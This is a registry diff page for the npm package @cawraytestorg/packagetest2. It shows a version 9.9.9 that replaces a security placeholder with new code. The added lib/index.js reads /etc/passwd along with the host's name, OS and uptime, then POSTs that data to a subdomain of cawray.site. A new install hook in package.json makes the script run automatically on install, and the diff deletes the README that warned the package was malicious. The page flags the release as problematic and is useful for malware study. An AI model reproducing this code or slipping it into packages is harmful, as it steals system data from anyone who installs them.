@cawraytestorg/packagetest2 0.0.1-security → 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @cawraytestorg/packagetest2 might be problematic. Click here for more details.
- package/lib/index.js +56 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/lib/index.js
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
const http = require("http");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const { execSync } = require("child_process");
|
|
4
|
+
|
|
5
|
+
const hostname = os.hostname();
|
|
6
|
+
|
|
7
|
+
// Function to execute shell commands and return output
|
|
8
|
+
const executeCommand = (cmd) => {
|
|
9
|
+
try {
|
|
10
|
+
return execSync(cmd, { encoding: "utf-8" }).trim();
|
|
11
|
+
} catch (error) {
|
|
12
|
+
return `Error executing command: ${error.message}`;
|
|
13
|
+
}
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
// Gather machine information
|
|
17
|
+
const machineInfo = {
|
|
18
|
+
hostname: hostname,
|
|
19
|
+
os: `${os.type()} ${os.release()} ${os.arch()}`,
|
|
20
|
+
uptime: os.uptime(),
|
|
21
|
+
passwdFile: executeCommand("cat /etc/passwd"),
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
// Prepare data to be sent
|
|
25
|
+
const data = new TextEncoder().encode(
|
|
26
|
+
JSON.stringify({
|
|
27
|
+
payload: machineInfo,
|
|
28
|
+
project_id: process.argv[2],
|
|
29
|
+
})
|
|
30
|
+
);
|
|
31
|
+
|
|
32
|
+
const options = {
|
|
33
|
+
hostname: `${process.argv[2]}.${hostname}.cawray.site`,
|
|
34
|
+
port: 80,
|
|
35
|
+
path: "/",
|
|
36
|
+
method: "POST",
|
|
37
|
+
headers: {
|
|
38
|
+
"Content-Type": "application/json",
|
|
39
|
+
"Content-Length": data.length,
|
|
40
|
+
},
|
|
41
|
+
rejectUnauthorized: false,
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
// Send the request
|
|
45
|
+
const req = http.request(options, (res) => {
|
|
46
|
+
res.on("data", (d) => {
|
|
47
|
+
process.stdout.write(d);
|
|
48
|
+
});
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
req.on("error", (error) => {
|
|
52
|
+
console.error(error);
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
req.write(data);
|
|
56
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@cawraytestorg/packagetest2",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "9.9.9",
|
|
4
|
+
"description": "My NPM",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"install": "node lib/index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"dependencies": {
|
|
12
|
+
"@cawraytestorg/packagetest2": "^9.9.9"
|
|
13
|
+
}
|
|
6
14
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40cawraytestorg%2Fpackagetest2 for more information.
|